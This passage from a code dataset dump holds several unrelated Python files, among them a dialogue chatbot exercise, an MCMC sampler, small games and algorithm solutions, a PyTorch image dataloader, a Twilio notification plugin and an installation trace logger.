implement this for real, you'll need to randomly select one of the templates for\n # the specified state, rather than always selecting template 0. You probably also will not\n # want to rely on hardcoded input slot positions (e.g., slots[0][1]). Optionally, you might\n # want to include logic that handles a/an and singular/plural terms, to make your chatbot's\n # output more natural (e.g., avoiding \"did you say you want 1 pizzas?\").\n \"\"\"output = \"\"\n if len(slots) > 0:\n output = templates[state][0].replace(\"\", str(slots[0][1]))\n else:\n output = templates[state][0]\"\"\"\n #print(\"here\",template)\n num = random.randint(0,1)\n return template[state][num]\n \n# Use this main function to test your code when running it from a terminal\n# Sample code is provided to assist with the assignment, feel free to change/remove it if you want\n# You can run the code from terminal as: python3 chatbot.py\n\ndef main():\n global dst\n \n \n \n # Test Cases\n \n iput = nlu(\"\")\n #print(\"here\",dst)\n update_dst(iput)\n current_state_tracker = get_dst()\n next_state, slot_values = dialogue_policy(current_state_tracker)\n output = nlg(next_state, slot_values)\n print(\"\\nOutput: {0}\\n\".format(output))\n \n # The above test case is worked because there is no dsh item in dst it means there is no history so it is printing \"Greetings\"\n while next_state!=\"Tickets_booked\":\n #print(\"chicago\")\n i = input()\n iput = nlu(i)\n #print(\"here\",dst)\n update_dst(iput)\n current_state_tracker = get_dst()\n next_state, slot_values = dialogue_policy(current_state_tracker)\n output = nlg(next_state, slot_values)\n print(\"\\nOutput: {0}\\n\".format(output))\n\n################ Do not make any changes below this line ################\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"74264012","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 21 20:32:27 2019\n\n@author: Tobias Schwedes\n\nScript to implement estimating mean integral for a standard Gaussian using \nimportance sampling / Rao-Blackwellisation for multiple proposal Quasi-MCMC.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\nfrom Seed import SeedGen\n\n\nclass BayesianLinReg:\n \n def __init__(self, d, x0, N, StepSize, PowerOfTwo, \\\n InitMean, InitCov, Stream):\n \n \"\"\"\n Implements estimating the posterior mean of a standard Gaussian\n by using multiple proposal quasi MCMC with \n Importance Sampling (IS-MP-QMCMC)\n \n Inputs:\n ------- \n d - int \n dimension of posterior \n x0 - array_like\n d-dimensional array; starting value\n N - int \n number of proposals per iteration\n StepSize - float \n step size for proposed jump in mean \n PowerOfTwo - int\n defines size S of seed by S=2**PowerOfTwo-1\n InitMean - array_like\n defined mean of independent proposal kernel\n InitCov - array_like \n defines covariance of independent proposal kernel \n Stream - string\n either 'cud' or 'iid'; defining what seed is used\n \"\"\"\n \n \n ##################################\n # Choose stream for Markoc Chain #\n ##################################\n \n xs = SeedGen(d+1, PowerOfTwo, Stream)\n \n ###########################################\n # Compute prior and likelihood quantities #\n ###########################################\n\n \n ##################\n # Initialisation #\n ##################\n \n # List of samples to be collected\n self.xVals = list()\n self.xVals.append(x0)\n \n # Iteration number\n NumOfIter = int(int((2**PowerOfTwo-1)/(d+1))*(d+1)/(N))\n print ('Total number of Iterations = ', NumOfIter)\n \n # set up acceptance rate array\n self.AcceptVals = list()\n \n # initialise\n xI = self.xVals[0]\n I = 0\n \n\n # Weighted Sum and Covariance Arrays\n self.WeightedSum = np.zeros((NumOfIter,d))\n self.WeightedCov = np.zeros((NumOfIter,d,d)) \n \n\n # Approximate Posterior Mean and Covariance as initial estimates\n self.ApprPostMean = InitMean\n self.ApprPostCov = InitCov \n \n\n # Cholesky decomposition of initial Approximate Posterior Covariance\n CholApprPostCov = np.linalg.cholesky(self.ApprPostCov)\n InvApprPostCov = np.linalg.inv(self.ApprPostCov)\n \n \n ####################\n # Start Simulation #\n ####################\n \n for n in range(NumOfIter):\n \n ######################\n # Generate proposals #\n ######################\n \n # Load stream of points in [0,1]^d\n U = xs[n*(N):(n+1)*(N),:]\n \n # Sample new proposed States according to multivariate t-distribution \n y = self.ApprPostMean + np.dot(norm.ppf(U[:,:d], loc=np.zeros(d), \\\n scale=StepSize), CholApprPostCov)\n \n # Add current state xI to proposals \n Proposals = np.insert(y, 0, xI, axis=0)\n \n \n ########################################################\n # Compute probability ratios = weights of IS-estimator #\n ########################################################\n \n # Compute Log-posterior probabilities\n LogPosteriors = -0.5*np.dot(np.dot(Proposals-np.zeros(d), np.identity(d)), \\\n (Proposals - np.zeros(d)).T).diagonal(0)\n \n # Compute Log of transition probabilities\n LogK_ni = -0.5*np.dot(np.dot(Proposals-self.ApprPostMean, InvApprPostCov/(StepSize**2)), \\\n (Proposals - self.ApprPostMean).T).diagonal(0)\n LogKs = np.sum(LogK_ni) - LogK_ni # from any state to all others\n \n\n # Compute weights\n LogPstates = LogPosteriors + LogKs\n Sorted_LogPstates = np.sort(LogPstates)\n LogPstates = LogPstates - (Sorted_LogPstates[0] + \\\n np.log(1 + np.sum(np.exp(Sorted_LogPstates[1:] - Sorted_LogPstates[0]))))\n Pstates = np.exp(LogPstates)\n \n \n #######################\n # Compute IS-estimate #\n #######################\n \n # Compute weighted sum as posterior mean estimate\n WeightedStates = np.tile(Pstates, (d,1)) * Proposals.T\n self.WeightedSum[n,:] = np.sum(WeightedStates, axis=1).copy()\n\n\n ##################################\n # Sample according to IS-weights #\n ##################################\n \n # Sample N new states \n PstatesSum = np.cumsum(Pstates)\n Is = np.searchsorted(PstatesSum, U[:,d:].flatten())\n# IS = rv_discrete(values=(range(N+1),Pstates)).rvs(size=N)\n xvals_new = Proposals[Is]\n self.xVals.append(xvals_new)\n \n # Compute approximate acceptance rate\n AcceptValsNew = 1. - Pstates[Is]\n self.AcceptVals.append(AcceptValsNew)\n \n # Update current state\n I = Is[-1]\n xI = Proposals[I,:]\n \n \n def GetSamples(self, BurnIn=0):\n \n \"\"\"\n Compute samples from posterior from MP-QMCMC\n \n Inputs:\n ------\n BurnIn - int \n Burn-In period\n \n Outputs:\n -------\n Samples - array_like\n (Number of samples) x d-dimensional arrayof Samples \n \"\"\"\n \n Samples = np.concatenate(self.xVals[1:], axis=0)[BurnIn:,:]\n \n return Samples\n \n \n def GetAcceptRate(self, BurnIn=0):\n \n \"\"\"\n Compute acceptance rate of MP-QMCMC\n \n Inputs:\n ------\n BurnIn - int\n Burn-In period\n \n Outputs:\n -------\n AcceptRate - float\n average acceptance rate of MP-QMCMC \n \"\"\" \n \n AcceptVals = np.concatenate(self.AcceptVals)[BurnIn:]\n AcceptRate = np.mean(AcceptVals)\n \n return AcceptRate\n\n \n def GetIS_MeanEstimate(self, N, BurnIn=0):\n \n \"\"\"\n Compute importance sampling estimate\n \n Outputs:\n -------\n WeightedMean - array_like\n d-dimensional array\n \"\"\" \n \n WeightedMean = np.mean(self.WeightedSum[int(BurnIn/N):,:], axis=0)\n \n return WeightedMean\n \n\n def GetIS_FunMeanEstimate(self, N, BurnIn=0):\n \n \"\"\"\n Compute importance sampling estimate\n \n Outputs:\n -------\n WeightedMean - array_like\n d-dimensional array\n \"\"\" \n \n WeightedMean = np.mean(self.WeightedFunSum[int(BurnIn/N):,:], axis=0)\n \n return WeightedMean \n \n\n def GetIS_CovEstimate(self, N, BurnIn=0):\n \n \"\"\"\n Compute importance sampling covariance estimate\n \n \n Outputs:\n -------\n WeightedCov - d-dimensional array\n \"\"\" \n \n WeightedCov = np.mean(self.WeightedCov[int(BurnIn/N):,:,:], axis=0)\n \n return WeightedCov \n \n \n def GetMarginalHistogram(self, Index=0, BarNum=100, BurnIn=0):\n \n \"\"\"\n Plot histogram of marginal distribution for posterior samples using \n MP-QMCMC\n \n Inputs:\n ------\n Index - int\n index of dimension for marginal distribution\n BurnIn - int\n Burn-In period\n \n Outputs:\n -------\n Plot\n \"\"\" \n\n Fig = plt.figure()\n SubPlot = Fig.add_subplot(111)\n SubPlot.hist(self.GetSamples(BurnIn)[:,Index], BarNum, label = \"PDF Histogram\", density = True)\n \n return Fig\n\n\n","sub_path":"Gauss/BayesianLinReg.py","file_name":"BayesianLinReg.py","file_ext":"py","file_size_in_byte":8597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"295125440","text":"import os\nimport random\n\nos.system('clear')\nplay = True\n\nprint(\"-Rock, Paper or Scissors Game-\")\nprint(\"\")\nwhile play == True:\n\n\trandom_choice = random.randint(1,3)\n\tif random_choice == 1:\n\t\tfinal_choice = \"rock\"\n\n\tif random_choice == 2:\n\t\tfinal_choice = \"paper\"\n\n\tif random_choice == 3:\n\t\tfinal_choice = \"scissors\"\n\n\n\tprint(\"Enter rock, paper or scissors\")\n\tchoice = input(\"--> \").lower()\n\t\n\tif choice == \"rock\" and final_choice == \"rock\":\n\t\tprint(\"There was no winner, Try Again!\")\n\n\telif choice == \"paper\" and final_choice == \"paper\":\n\t\tprint(\"There was no winner, Try Again!\")\n\n\telif choice == \"scissors\" and final_choice == \"scissors\":\n\t\tprint(\"There was no winner, Try Again!\")\n\n\telif choice == \"rock\" and final_choice == \"paper\":\n\t\tprint(\"You have lost\")\n\n\telif choice == \"rock\" and final_choice == \"scissors\":\n\t\tprint(\"You have won!\")\n\n\telif choice == \"paper\" and final_choice == \"scissors\":\n\t\tprint(\"You have lost!\")\n\n\telif choice == \"paper\" and final_choice == \"rock\":\n\t\tprint(\"You have won!\")\n\t\n\telif choice == \"scissors\" and final_choice == \"rock\":\n\t\tprint(\"You have lost!\")\n\n\telif choice == \"scissors\" and final_choice == \"paper\":\n\t\tprint(\"You have won!\")\n\n\n\n\tplay_again = input('Do you want to play again? \"Yes\" or \"No\": ').lower()\n\n\tif play_again == \"yes\":\n\t\tplay = True\n\t\tos.system('clear')\n\telse:\n\n\t\tplay = False","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"277756487","text":"# import \n\nimport numpy as np\nimport cv2\nimport glob\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport cv2\nimport numpy as np\n\ndef binary_image(undistored_image, sobel_threshold, sobelx_threshold):\n\n # make a copy of the image \n image = np.copy(undistored_image)\n \n # Convert to HLS space then separate the V channel\n hls = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n v_channel = hls[:,:,0] \n l_channel = hls[:,:,1]\n s_channel = hls[:,:,2]\n\n # Sobel in x direction \n raw_sobelx = cv2.Sobel(l_channel, cv2.CV_64F, 1, 0) # Take the derivative in x\n abs_sobelx = np.absolute(raw_sobelx) # Absolute x derivative to accentuate lines away from horizontal\n scaled_sobelx = np.uint8(255*abs_sobelx/np.max(abs_sobelx))\n \n # Threshold x gradient\n binary_sobelx = np.zeros_like(scaled_sobelx)\n binary_sobelx[(scaled_sobelx >= sobelx_threshold[0]) & (scaled_sobelx <= sobelx_threshold[1])] = 1\n \n # Threshold and stack in the color channel\n s_binary = np.zeros_like(s_channel)\n s_binary[(s_channel >= sobel_threshold[0]) & (s_channel <= sobel_threshold[1])] = 1\n color_binary = np.dstack(( np.zeros_like(binary_sobelx), binary_sobelx, s_binary)) * 255\n \n # Combine the two binary thresholds\n binary_image = np.zeros_like(binary_sobelx)\n binary_image[(s_binary == 1) | (binary_sobelx == 1)] = 1\n return color_binary, binary_image \n","sub_path":"binary_gradient.py","file_name":"binary_gradient.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"437002723","text":"import docx, random\ndocument = docx.Document('table.docx')\ntables = document.tables\nfor table in tables:\n shaffeled_rows = list()\n empty_rows = list()\n for row in table.rows:\n row_text_list = list()\n for cell in row.cells:\n row_text_list.append(cell.text)\n if all(row_text_list):\n shaffeled_rows.append(row) \n else:\n empty_rows.append(row)\n random.shuffle(shaffeled_rows)\n words_for_cells = list()\n for row in shaffeled_rows:\n for cell in row.cells:\n words_for_cells.append(cell.text)\n for row in table.rows:\n for cell in row.cells:\n try:\n cell.text = words_for_cells.pop()\n except:\n pass\n\n\n\n\n\ndocument.save('table_shuffeled.docx')","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168085986","text":"# 题目的要求是给定一个数组,返回一个相互都能整除的最大子数组\n# 动态规划的第一步不应该思考怎么划分的问题,而应该思考dp数组代表什么含义的问题\n# 现在来看,dp数组一般可以代表的就是以数组当前元素为结尾的解\n# 然后判断当前为结尾的解和之前的解有什么关系,这个一般是依靠问题的描述来决定的\n# 比如这一题,dp[i] = max(dp[a1],dp[a2]..)+1,其中nums[ai]可以整除nums[i]\n# 用一个index数组的作用是可以记录目前取的最大的位置在哪里\n\n\ndef largestDivisibleSubset(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n if not nums: return []\n N = len(nums)\n nums.sort()\n dp = [0] * N \n parent = [0] * N\n mx = 0\n mx_index = -1\n for i in range(N):\n for j in range(i - 1, -1 , -1):\n if nums[i] % nums[j] == 0 and dp[i] < dp[j] + 1:\n dp[i] = dp[j] + 1\n parent[i] = j\n if dp[i] > mx:\n mx = dp[i]\n mx_index = i\n res = list()\n for k in range(mx + 1):\n res.append(nums[mx_index])\n mx_index = parent[mx_index]\n return res[::-1]\n # list[start:end:step]\n","sub_path":"64.最大整除子集.py","file_name":"64.最大整除子集.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"607486185","text":"from sys import stdin, stdout\nfrom collections import deque\n\nsw = stdout.write\ndef main ():\n # queue for schools\n sc = [deque () for _ in range (5)]\n q = int (stdin.readline ())\n qu = deque () # queue holding order of schools\n for _ in range (q):\n ip = stdin.readline ().rstrip ()\n if ip == \"D\":\n s, r = sc [qu [0]].popleft ()\n if not sc [qu [0]]: qu.popleft ()\n sw (s + ' ' + r + '\\n')\n else:\n e, x, y = ip.split ()\n xi = int (x)\n if not sc [xi]: qu.append (xi)\n sc [xi].append ((x, y))\n\nif __name__ == \"__main__\": main ()\n","sub_path":"_monk_goblets_fire.py","file_name":"_monk_goblets_fire.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"424696685","text":"import glob\nimport math\nimport time\nimport warnings\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom scipy import ndimage\nfrom torch.utils import data\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\n\n\nclass PenuDataset(data.Dataset):\n def __init__(self, data_dir=\"./iafoss_data/\", image_size=256, test = False ):\n '''\n\n :param augument: data augmentation\n :param image_size: size of cropped image\n :param rand_offset: random offset of cropped cube center\n\n '''\n\n self.test = test\n self.image_size = image_size\n #all available crop\n if not test:\n self.input_image = glob.glob(data_dir+str(image_size)+\"/train/*.png\")\n self.ground_truth = glob.glob(data_dir+str(image_size)+\"/label/*.png\")\n self.length = len(self.input_image)\n else:\n self.input_image = glob.glob(data_dir+str(image_size)+\"test/*.png\")\n self.ground_truth = glob.glob(data_dir+str(image_size)+\"label/*.png\")\n self.length = len(self.input_image)\n\n\n def __len__(self):\n return self.length\n\n def __getitem__(self, index):\n assert (self.input_image[index][-20:] == self.ground_truth[index][-20:]),\"image and label not match\"\n image = cv2.imread(self.input_image[index],0).astype(np.float32)\n image_GT = cv2.imread(self.ground_truth[index],0).astype(np.float32)\n\n # plt.subplot(221)\n # plt.imshow(image, cmap=plt.cm.gray)\n # plt.subplot(222)\n # plt.imshow(image_GT)\n\n # plt.show()\n\n # if not self.test and np.random.uniform() > 0.7:\n # image, image_GT = self.flip(image, image_GT)\n # else:\n # image, image_GT = self.crop(image, image_GT, size = self.image_size, center = True)\n # image = torch.from_numpy(np.expand_dims(self.normalize(image), axis=0)).float()\n \n image = (image.astype(np.float32)-128)/128\n image_GT = image_GT/255\n image_GT[image_GT>0] = 1\n\n image = torch.from_numpy(np.expand_dims(image, axis=0)).float()\n image_GT = torch.from_numpy(np.expand_dims(image_GT, axis=0))\n return image, image_GT\n\n def normalize(self,image):\n g_max = 0\n g_min = 255\n image = (image - g_min) / (g_max - g_min)\n image[image>1] = 1.\n image[image<0] = 0.\n return image\n\n def flip(self, image, image_GT):\n flip_x = np.random.uniform()\n flip_y = np.random.uniform()\n\n if flip_x > 0.5:\n image = np.flip(image, 0).copy()\n image_GT = np.flip(image_GT, 0).copy()\n if flip_y > 0.5:\n image = np.flip(image, 1).copy()\n image_GT = np.flip(image_GT, 1).copy()\n\n return image, image_GT\n\n\nif __name__ == \"__main__\":\n train_data = PenuDataset(test=False)\n train_loader = DataLoader(train_data, batch_size=1, shuffle=False, num_workers=1)\n\n for idx, data in enumerate(train_loader):\n print(data[0].size(),data[1].size())\n","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"340521926","text":"# Copyright (c) LinkedIn Corporation. All rights reserved. Licensed under the BSD-2 Clause license.\n# See LICENSE in the project root for license information.\n\nfrom iris_api.constants import SMS_SUPPORT, CALL_SUPPORT\nfrom iris_api.plugins import find_plugin\nfrom twilio.rest import TwilioRestClient\nfrom twilio.rest.resources import Connection\nimport time\nimport urllib\n\n\nclass iris_twilio(object):\n supports = frozenset([SMS_SUPPORT, CALL_SUPPORT])\n\n def __init__(self, config):\n self.config = config\n if 'proxy' in self.config:\n Connection.set_proxy_info(self.config['proxy']['host'],\n self.config['proxy']['port'],\n proxy_rdns=True)\n self.modes = {\n SMS_SUPPORT: self.send_sms,\n CALL_SUPPORT: self.send_call,\n }\n\n def get_twilio_client(self):\n return TwilioRestClient(self.config['account_sid'],\n self.config['auth_token'])\n\n def send_sms(self, message):\n client = self.get_twilio_client()\n\n sender = client.messages.create\n from_ = self.config['twilio_number']\n start = time.time()\n content = message['subject']\n if 'body' in message:\n content += '. %s' % message['body']\n sender(to=message['destination'],\n from_=from_,\n body=content[:480])\n\n return time.time() - start\n\n def send_call(self, message):\n plugin = find_plugin(message['application'])\n if not plugin:\n raise ValueError('not supported source: %(application)s' % message)\n\n client = self.get_twilio_client()\n sender = client.calls.create\n from_ = self.config['twilio_number']\n url = self.config['relay_base_url'] + '/api/v0/twilio/calls/gather?'\n content = message['subject']\n if 'body' in message:\n content += '. %s' % message['body']\n\n start = time.time()\n qs = urllib.urlencode({\n 'content': content[:480],\n 'instruction': plugin.get_phone_menu_text(),\n 'loop': 3,\n 'source': message['application'],\n 'message_id': message.get('message_id', 0),\n })\n\n sender(to=message['destination'],\n from_=from_,\n if_machine='Continue',\n url=url + qs)\n\n return time.time() - start\n\n def send(self, message):\n return self.modes[message['mode']](message)\n","sub_path":"src/iris_api/vendors/iris_twilio.py","file_name":"iris_twilio.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"6542252","text":"from goody import type_as_str # Useful in some exceptions\r\n\r\nclass DictList:\r\n def __init__(self,*args):\r\n assert len(args) > 0, 'DictList.__init__: #args 0: must be >= 1'\r\n for d in args:\r\n assert type(d) is dict, \"DictList.__init__: \"+type_as_str(d)+\" is not a dictionary\"\r\n assert len(d) >=1, \"DictList.__init__: empty dictionary is not a legal argument\"\r\n self.dl = list(args)\r\n \r\n def __len__(self):\r\n return len(set(i for x in self.dl for i in x.keys()))\r\n \r\n def __bool__(self):\r\n return len(self.dl) > 1\r\n \r\n def __repr__(self):\r\n return \"DictList(\"+\",\".join(str(c) for c in self.dl)+\")\"\r\n \r\n def __contains__(self, key):\r\n return key in {k for x in self.dl for k in x.keys()}\r\n \r\n def __getitem__(self,k):\r\n if k not in {key for x in self.dl for key in x.keys()}:\r\n raise KeyError('DictList.__getitem__: '+str(k)+' is not a key in any dictionary.')\r\n for d in reversed(self.dl):\r\n if k in d.keys():\r\n return d[k]\r\n \r\n def __setitem__(self,k,v):\r\n for d in reversed(self.dl):\r\n if k in d.keys():\r\n d[k] = v\r\n break\r\n if k not in {key for d in self.dl for key in d.keys()}:\r\n self.dl.append({k:v})\r\n \r\n def __delitem__(self,k):\r\n if k not in {key for d in self.dl for key in d.keys()}:\r\n raise KeyError('DictList.__delitem__: '+str(k)+' is not a key in any dictionary.')\r\n for d in reversed(self.dl):\r\n if k in d:\r\n del d[k]\r\n return\r\n \r\n def __call__(self,k):\r\n return [(self.dl.index(d),y) for d in self.dl for x,y in d.items() if x==k]\r\n \r\n def __iter__(self):\r\n def gen(d):\r\n new = []\r\n for x in reversed(d):\r\n new.extend(sorted([k for k in x.keys() if k not in new]))\r\n for i in new:\r\n yield i\r\n return gen(self.dl)\r\n \r\n def items(self):\r\n def gen(d):\r\n new = []\r\n for d in reversed(self.dl):\r\n new.extend(sorted([i for i in d.items() if i[0] not in [x[0] for x in new]]))\r\n for i in new:\r\n yield i\r\n return gen(self.dl)\r\n \r\n def collapse(self):\r\n return {x:y for x,y in sorted(self.items())}\r\n \r\n def __eq__(self, right):\r\n if type(right) == DictList:\r\n return set(self.items()) == set(DictList.items(right))\r\n elif type(right) == dict:\r\n return set(self.items()) == set((x,y) for x,y in right.items())\r\n else:\r\n raise TypeError(\"unorderable types: \" +type_as_str(self)+\"() and \"+type_as_str(right)+\"()\")\r\n \r\n def __lt__(self,right):\r\n if type(right) == DictList:\r\n return set(self.items()) < set(DictList.items(right))\r\n elif type(right) == dict:\r\n return set(self.items()) < set((x,y) for x,y in right.items())\r\n else:\r\n raise TypeError(\"unorderable types: \" +type_as_str(self)+\"() and \"+type_as_str(right)+\"()\")\r\n \r\n def __gt__(self,right):\r\n if type(right) == DictList:\r\n return set(self.items()) > set(DictList.items(right))\r\n elif type(right) == dict:\r\n return set(self.items()) > set((x,y) for x,y in right.items())\r\n else:\r\n raise TypeError(\"unorderable types: \" +type_as_str(self)+\"() and \"+type_as_str(right)+\"()\") \r\n\r\n def __add__(self,right):\r\n if type(right) == DictList:\r\n temp = [x.copy() for x in self.dl]\r\n temp.extend([y.copy() for y in right.dl])\r\n return DictList(*temp)\r\n elif type(right) == dict:\r\n temp = [x.copy() for x in self.dl]\r\n temp.append(right.copy())\r\n return DictList(*temp)\r\n else:\r\n raise TypeError(\"unsupported operand type(s) for +: \" +type_as_str(self)+\"() and \"+type_as_str(right)+\"()\") \r\n\r\n def __radd__(self,left):\r\n if type(left) == dict:\r\n temp = [left.copy()]\r\n temp.extend([x.copy() for x in self.dl])\r\n return DictList(*temp)\r\n raise TypeError(\"unsupported operand type(s) for +: \" +type_as_str(self)+\"() and \"+type_as_str(left)+\"()\")\r\n\r\n def __setattr__(self,name,value):\r\n if 'dl' in self.__dict__ or name != 'dl':\r\n raise AssertionError('Not allowed to define new attribute or rebind existing attribute')\r\n self.__dict__[name] = value\r\n \r\n \r\n\r\n\r\n \r\nif __name__ == '__main__':\r\n #Simple tests before running driver\r\n #Put your own test code here to test DictList before doing bsc tests\r\n\r\n d = DictList(dict(a=1,b=2), dict(b=12,c=13))\r\n print('len(d): ', len(d))\r\n print('bool(d):', bool(d))\r\n print('repr(d):', repr(d))\r\n print(', '.join(\"'\"+x+\"'\" + ' in d = '+str(x in d) for x in 'abcx'))\r\n print(\"d['a']:\", d['a'])\r\n print(\"d['b']:\", d['b'])\r\n print(\"d('b'):\", d('b'))\r\n print('iter results:', ', '.join(i for i in d))\r\n print('item iter results:', ', '.join(str(i) for i in d.items()))\r\n print('d.collapse():', d.collapse())\r\n print('d==d:', d==d)\r\n print('d+d:', d+d)\r\n print('(d+d).collapse():', (d+d).collapse())\r\n \r\n print()\r\n import driver\r\n driver.default_file_name = 'bsc1.txt'\r\n# driver.default_show_exception=True\r\n# driver.default_show_exception_message=True\r\n# driver.default_show_traceback=True\r\n driver.driver()\r\n","sub_path":"dictlist.py","file_name":"dictlist.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"236009894","text":"#(2) Solicitar al usuario que ingrese su dirección email. \n#Imprimir un mensaje indicando si la dirección es válida o no, \n#valiéndose de una función para decidirlo. \n#Una dirección se considerará válida si contiene el símbolo \"@\".\n\ndef validar(email):\n caracterBuscado = '@'\n #emailValido = False\n for i in email:\n if i == caracterBuscado:\n return True\n return False\n\ndireccion = input('direccion: ')\nif(validar(direccion)):\n print('valido')\nelse:\n print('invalido')\n\n","sub_path":"funciones/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"269678821","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright (C) 2012 Yahoo! Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport json\n\nfrom anvil import exceptions as excp\nfrom anvil import shell as sh\n\n# Common trace actions\nAP_STARTED = \"AP_STARTED\"\nCFG_WRITING_FILE = \"CFG_WRITING_FILE\"\nDIR_MADE = \"DIR_MADE\"\nDOWNLOADED = \"DOWNLOADED\"\nFILE_TOUCHED = \"FILE_TOUCHED\"\nPIP_INSTALL = 'PIP_INSTALL'\nPKG_INSTALL = \"PKG_INSTALL\"\nPYTHON_INSTALL = \"PYTHON_INSTALL\"\nSYMLINK_MAKE = \"SYMLINK_MAKE\"\n\n\ndef trace_filename(root_dir, base_name):\n return sh.joinpths(root_dir, \"%s.trace\" % (base_name))\n\n\nclass TraceWriter(object):\n\n def __init__(self, trace_fn, break_if_there=True):\n self.trace_fn = trace_fn\n self.started = False\n self.break_if_there = break_if_there\n\n def trace(self, cmd, action=None):\n if action is None:\n action = ''\n if cmd is not None:\n sh.append_file(self.trace_fn, \"%s - %s\\n\" % (cmd, action))\n\n def filename(self):\n return self.trace_fn\n\n def _start(self):\n if self.started:\n return\n else:\n trace_dirs = sh.mkdirslist(sh.dirname(self.trace_fn))\n sh.touch_file(self.trace_fn, die_if_there=self.break_if_there)\n self.started = True\n self.dirs_made(*trace_dirs)\n\n def py_installed(self, name, where):\n self._start()\n what = dict()\n what['name'] = name\n what['where'] = where\n self.trace(PYTHON_INSTALL, json.dumps(what))\n\n def cfg_file_written(self, fn):\n self._start()\n self.trace(CFG_WRITING_FILE, fn)\n\n def symlink_made(self, link):\n self._start()\n self.trace(SYMLINK_MAKE, link)\n\n def download_happened(self, tgt, uri):\n self._start()\n what = dict()\n what['target'] = tgt\n what['from'] = uri\n self.trace(DOWNLOADED, json.dumps(what))\n\n def pip_installed(self, pip_info):\n self._start()\n self.trace(PIP_INSTALL, json.dumps(pip_info))\n\n def dirs_made(self, *dirs):\n self._start()\n for d in dirs:\n self.trace(DIR_MADE, d)\n\n def file_touched(self, fn):\n self._start()\n self.trace(FILE_TOUCHED, fn)\n\n def package_installed(self, pkg_info):\n self._start()\n self.trace(PKG_INSTALL, json.dumps(pkg_info))\n\n def app_started(self, name, info_fn, how):\n self._start()\n data = dict()\n data['name'] = name\n data['trace_fn'] = info_fn\n data['how'] = how\n self.trace(AP_STARTED, json.dumps(data))\n\n\nclass TraceReader(object):\n\n def __init__(self, trace_fn):\n self.trace_fn = trace_fn\n self.contents = None\n\n def filename(self):\n return self.trace_fn\n\n def _parse(self):\n fn = self.trace_fn\n if not sh.isfile(fn):\n msg = \"No trace found at filename %s\" % (fn)\n raise excp.NoTraceException(msg)\n contents = sh.load_file(fn)\n lines = contents.splitlines()\n accum = list()\n for line in lines:\n ep = self._split_line(line)\n if ep is None:\n continue\n accum.append(tuple(ep))\n return accum\n\n def read(self):\n if self.contents is None:\n self.contents = self._parse()\n return self.contents\n\n def _split_line(self, line):\n pieces = line.split(\"-\", 1)\n if len(pieces) == 2:\n cmd = pieces[0].rstrip()\n action = pieces[1].lstrip()\n return (cmd, action)\n else:\n return None\n\n def exists(self):\n return sh.exists(self.trace_fn)\n\n def apps_started(self):\n lines = self.read()\n apps = list()\n for (cmd, action) in lines:\n if cmd == AP_STARTED and len(action):\n entry = json.loads(action)\n if type(entry) is dict:\n apps.append((entry.get('name'), entry.get('trace_fn'), entry.get('how')))\n return apps\n\n def py_listing(self):\n lines = self.read()\n py_entries = list()\n for (cmd, action) in lines:\n if cmd == PYTHON_INSTALL and len(action):\n entry = json.loads(action)\n if type(entry) is dict:\n py_entries.append((entry.get(\"name\"), entry.get(\"where\")))\n return py_entries\n\n def download_locations(self):\n lines = self.read()\n locations = list()\n for (cmd, action) in lines:\n if cmd == DOWNLOADED and len(action):\n entry = json.loads(action)\n if type(entry) is dict:\n locations.append((entry.get('target'), entry.get('uri')))\n return locations\n\n def _sort_paths(self, pths):\n # Ensure in correct order (ie /tmp is before /)\n pths = list(set(pths))\n pths.sort()\n pths.reverse()\n return pths\n\n def files_touched(self):\n lines = self.read()\n files = list()\n for (cmd, action) in lines:\n if cmd == FILE_TOUCHED and len(action):\n files.append(action)\n return self._sort_paths(files)\n\n def dirs_made(self):\n lines = self.read()\n dirs = list()\n for (cmd, action) in lines:\n if cmd == DIR_MADE and len(action):\n dirs.append(action)\n return self._sort_paths(dirs)\n\n def symlinks_made(self):\n 